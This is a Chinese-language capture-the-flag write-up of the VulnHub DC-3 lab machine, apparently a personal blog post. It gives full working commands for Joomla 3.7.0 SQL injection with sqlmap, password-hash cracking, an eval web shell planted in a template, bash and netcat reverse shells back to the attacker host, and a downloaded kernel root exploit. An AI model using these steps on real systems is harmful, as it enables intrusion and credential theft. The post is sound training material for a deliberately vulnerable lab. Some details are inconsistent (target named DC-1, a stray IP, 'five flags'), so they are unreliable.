『VulnHub系列』DC-3靶机渗透总结
靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip靶机DC-3VMware下载地址:https : //download.vulnhub.com/dc/DC-3VMware.zip注:开始将DC-3.ova文件导入VMware虚拟机,发现无法获取到靶机IP地址,作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware,然后导入到
靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip
靶机DC-3VMware下载地址:https : //download.vulnhub.com/dc/DC-3VMware.zip
注:开始将DC-3.ova文件导入VMware虚拟机,发现无法获取到靶机IP地址,作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware,然后导入到VMware中就可以了
描述:从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag
0x00 前言
在开始之前我们需要知道的是,
靶机的ip获取方式是dhcp服务器来分配ip的,如果dhcp没有自动分配ip的话,请看我的置顶文章,解决没有ip的问题
而我的VMware就只有NAT模式可以使用dhcp服务器
那么接下来都将是NAT模式
工具、知识点和漏洞
nmap
joomscan
searchsploit
sqlmap
john
weevely
提权脚本39772
配置环境
kali: 192.168.100.34
靶机DC-1: 192.168.100.141
0x01 探测目标
探测目标的命令有很多种,arp-scan -l
、netdiscover
、masscan
,
但是我一般喜欢linux用arp-scan -l
window系统用arp -a
因为我设置的dhcp服务器自动分配的ip是从130开始分配,那么这个192.168.100.141应该就是我们的靶机了
arp-scan -l
0x02 枚举和初步搜索信息
一般而言,我们确定一个目标后,就要收集他的端口、目录
之类的。
跑一下目录
发现administrator目录,感觉有点像管理员后台,我们等会去看看
nikto --url http://192.168.100.141
我们用nmap跑一下,看他开放了那些端口。
nmap还有很多其他的参数,但是我比较喜欢用这2个
-A 查看所有详细信息
-p- 扫描所有端口
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.1.0/24 快速扫描
网段,发现靶场ip地址
nmap -A -p- 192.168.100.141
既然扫出来80段端口,我们就来看一下首页
http://192.168.100.141
之前我们扫目录的时候,好像扫出来一个管理员后台,那么我们现在去看看,需要账号密码,楼主用弱密码admin/admin
登录失败。
http://192.168.100.141/administrator
使用网站指纹工具whatweb识别靶机网址使用的web服务、系统版本、CMS系统等
whatweb扫描靶机后发现靶机使用Joomla内容管理系统,而之前我们用nmap也扫出来也是joomla
whatweb http://192.168.100.141
使用joomscan扫描工具扫描Joomla相关配置内容、坚持已知漏洞等等
扫描后得知Joomla版本3.7.0,管理员登录页面,及一些可以访问的网站目录
joomscan --url http://192.168.100.141
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞,发现一个sql注入漏洞
searchsploit Joomla 3.7.0
方法二找漏洞
msf中查找到的攻击模块,msf中有几个rce模块,所以先选择试是看msf的模块
msf模块挨个试过去,不是版本不符合,就是无法利用,令人在意的是unix/webapp/joomla_comfields_sqli_rce,这个模块是针对CVE-2017-8917的利用,该漏洞是joomla3.7的一个SQL注入漏洞,影响版本仅有 3.7.0。
这里楼主没用msf里的方法,不过也可以的
将sql注入漏洞相关介绍文档保存到本地,并查看相关注入方法
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./
cat 42033.txt
既然给出了这个joomla3.7.0的SQL漏洞,那么我们就用这个POC去测试一下它有漏洞没,
http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
使用sqlmap自动注入工具对靶机执行sql注入代码
注入查询数据库有哪些,查出5个数据库信息
(一路按Y就行了)
sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
注入查询当前靶机正在使用的数据库为:joomladb
(一路按Y就行了)
sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db
获取当前数据库的表名
(一路按Y就行了)
sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables
观察表名,很明显,我们会关注#__users这张表
(一路按Y就行了)
sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第三个选项随意,第四个选项使用10线程
爆出字段如下的内容
获取目标字段
sqlmap -u "http://192.168.100.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump
获得网站后台登录用户名admin和密码hash值:
admin #用户名
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu #密码hash值
将密文随便保存到一个文件中:
vi c23
cat c23
使用john爆破hash值,得到密码:snoopy
john c23
进入后台登录页面,登录:http://192.168.220.136/administrator/
寻找上传点
选择一个模板
在模本里新建文件
楼主这里老是上传不上去。
虽然不能上传,但是看到html目录下有个php文件,那我们就有个更好的方法,直接在现有的文件里添加一句话木马
eval($_REQUEST[8]);
记到修改完后,左上角绿色那个save保存哟
木马地址
在前面刚登录进后台的时候,看到网站用的是beez3模板,那就搜一下
然而我们可以看到images和html是同一级目录,所以木马的目录在
http://192.168.100.141/templates/beez3/html/
我们去访问,还发现居然是个目录遍历
蚁剑连接木马成功。
方法二得到shell
用nc反弹shell
先开启监听
nc -lvnp 7777
还是老地方写入一个命令执行,然后保存
system("bash -c 'bash -i >& /dev/tcp/192.168.100.34/7777 0>&1'");
一访问这个网页
http://192.168.100.141/templates/beez3/html/modules.php
马上就反弹shell
方法二(分支)得到shell
和方法二差不多,这里我就只给代码了
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.34 7777 >/tmp/f');?>
或者
用蚁剑的虚拟端也可以
方法三得shell
可以使用weevely 生成可以获取shell的php脚本,上传到靶机
点击查看weevely具体使用方法
交互式shell
由于上面的shell不好用,下面通过python来建立交互式shell
交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
首先检测到靶机没有python2,只有python3,所以使用python3 -c 'import pty; pty.spawn("/bin/bash")'
0x03 漏洞利用
使用中国蚁剑连接,可以获取终端,因为蚁剑是非持续连接,所以需要反弹shell提权
分别看下linux的内核信息和系统发行版本信息
uname -a
cat /etc/issue
可以知道我们的linux内核是4.4.0
系统是ubuntu 16.0.4
记得选内核和系统对应的哦
searchsploit Linux Kernel 4.4.0
或者
searchsploit ubuntu 16.04
。
在searchsploit中搜索,得到一些结果,挑几个看起来符合条件的提权脚本测试一下
第一个失败了
而且直接把靶机干死了
尝试了多个提权漏洞都没有成功,最后发现一个“拒绝服务漏洞
”,可以用来提权
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | exploits/linux/local/39772.txt
方法二找漏洞
使用辅助脚本提权
上传文件提权就是仁者见仁智者见智了,我这里使用一个辅助脚本来发现系统中存在哪些漏洞,注意到上传到有权限上传的地方,好比tmp是存放临时文件的,我有权限上传文件。
使用中国蚁剑上传文件,顺带着修改一下文件名(因为这里的shell不支持补齐,名字太长不方便)
使用kali来操作,该脚本的可以发现系统存在哪些漏洞
获取提权脚本
我这里以[CVE-2016-4557]为例,在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载,这里去searchsploit里面去看看
方法二也是找的同一个漏洞,接下来楼主还是按照方法一的思路来
查看漏洞介绍
cp /usr/share/exploitdb/exploits/linux/local/39772.txt nmsl.txt
cat nmsl.txt
最下面利用脚本
楼主这里kali命令下载不知道为啥失败了
所以就直接开启vpn,网页下载的(直接访问那个链接,就自动下载文件)
解压出来只要exploit.tar文件传到靶机上
kali开启一个简易的http服务
(这个搭建的简易http服务,在什么目录搭建,什么目录就是网站根目录)
python3 -m http.server 7777
靶机下载提权脚本
wget http://192.168.100.34:7777/exploit.tar
解压tar文件
tar xvf exploit.tar
进入解压出来的文件夹
cd ebpf_mapfd_doubleput_exploit
成功提权为root账户成功
chmod +x compile.sh
./compile.sh #执行脚本,编译文件
chmod +x doubleput
./doubleput #执行提权文件
自此5个flag就找到了,还是来总结一下吧
学习了新的CMS扫描工具joomscan
学习了john破解hash值
学习了linux端的菜刀 weevely
学习了不同思路拿shell
参考文章https://blog.csdn.net/devil8123665/article/details/107623039
https://blog.csdn.net/weixin_44288604/article/details/107938527
https://www.cnblogs.com/yurang/p/12735286.html
https://www.cnblogs.com/ph1sh/p/12491825.html
https://www.cnblogs.com/tlbjiayou/p/13910189.html
更多推荐
所有评论(0)